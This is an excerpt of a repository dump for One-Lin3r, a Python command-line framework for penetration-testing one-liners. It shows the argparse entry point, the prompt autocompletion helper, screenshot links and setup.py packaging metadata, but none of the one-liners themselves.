185 | session = PromptSession(history=FileHistory(os.path.expanduser("~/.command_history")))
186 | def getinput_autocompleted(name, commands, variables, liners):
187 | text = session.prompt( ANSI(name),
188 | completer=MyCompleter(commands, variables, liners),
189 | complete_while_typing=True,
190 | complete_in_thread=True,
191 | complete_style=CompleteStyle.READLINE_LIKE
192 | )
193 | return text
194 |
--------------------------------------------------------------------------------
/one_lin3r/main.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Written by: Karim shoair - D4Vinci ( One-Lin3r )
3 | from .core import Cli
4 | from .core.color import *
5 | import argparse
6 |
7 | parser = argparse.ArgumentParser(prog='One-Lin3r.py')
8 | parser.add_argument("-r", help="Execute a resource file.")
9 | parser.add_argument("-x", help="Execute a specific command (use ; for multiples).")
10 | parser.add_argument("-q",action="store_true", help="Quiet mode (no banner).")
11 | args = parser.parse_args()
12 |
13 | liners = Cli.db.index_liners()
14 | def main():
15 | if not args.q:
16 | Cli.utils.banner(liners)
17 |
18 | if args.x:
19 | for c in args.x.split(";"):
20 | Cli.start(c)
21 | Cli.start()
22 | elif args.r:
23 | try:
24 | f = open(args.r,"r")
25 | except:
26 | error("Can't open the specifed resource file!")
27 | exit(0)
28 | cmds = f.readlines()
29 | for cmd in cmds:
30 | Cli.start(cmd.strip())
31 | Cli.start()
32 | else:
33 | Cli.start()
34 | #You think it's simple when you look here huh :"D
35 | sys.exit()
36 |
37 | #if __name__ == '__main__':
38 | # main()
39 |
--------------------------------------------------------------------------------
/screenshots/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/screenshots/1.png
--------------------------------------------------------------------------------
/screenshots/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/screenshots/2.png
--------------------------------------------------------------------------------
/screenshots/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/screenshots/3.png
--------------------------------------------------------------------------------
/screenshots/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/screenshots/4.png
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import os
4 | from setuptools import setup, find_packages
5 |
6 | with open(os.path.join( 'one_lin3r', 'core', 'resources', 'version.txt')) as f:
7 | version = f.read().strip()
8 |
9 | with open("README.md", "r") as fh:
10 | long_description = fh.read()
11 |
12 | setup(name='one-lin3r',
13 | version=version,
14 | author='Karim Shoair (D4Vinci)',
15 | author_email="karim.shoair@pm.me",
16 | description='One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing (Windows, Linux, macOS or even BSD systems) or hacking generally with a lot of new features to make all of this fully automated (ex: you won\'t even need to copy the one-liners).',
17 | long_description=long_description,
18 | long_description_content_type="text/markdown",
19 | url='https://github.com/D4Vinci/One-Lin3r',
20 | packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),
21 | include_package_data=True,
22 | install_requires=[
23 | 'terminaltables',
24 | 'pyperclip',
25 | 'prompt_toolkit',
26 | 'win_unicode_console;platform_system=="Windows"',
27 | 'colorama;platform_system=="Windows"',
28 | ],
29 | classifiers=[
30 | "Topic :: Security",
31 | "Intended Audience :: Developers",
32 | "Intended Audience :: Information Technology",
33 | "Intended Audience :: System Administrators",
34 | "Intended Audience :: Other Audience",
35 | "Natural Language :: English",
36 | "Programming Language :: Python :: 3 :: Only",
37 | "License :: Free for non-commercial use",
38 | "Operating System :: OS Independent",
39 | ],
40 | entry_points={
41 | 'console_scripts': [
42 | 'one-lin3r = one_lin3r.main:main',
43 | ],
44 | },
45 | )
46 |
--------------------------------------------------------------------------------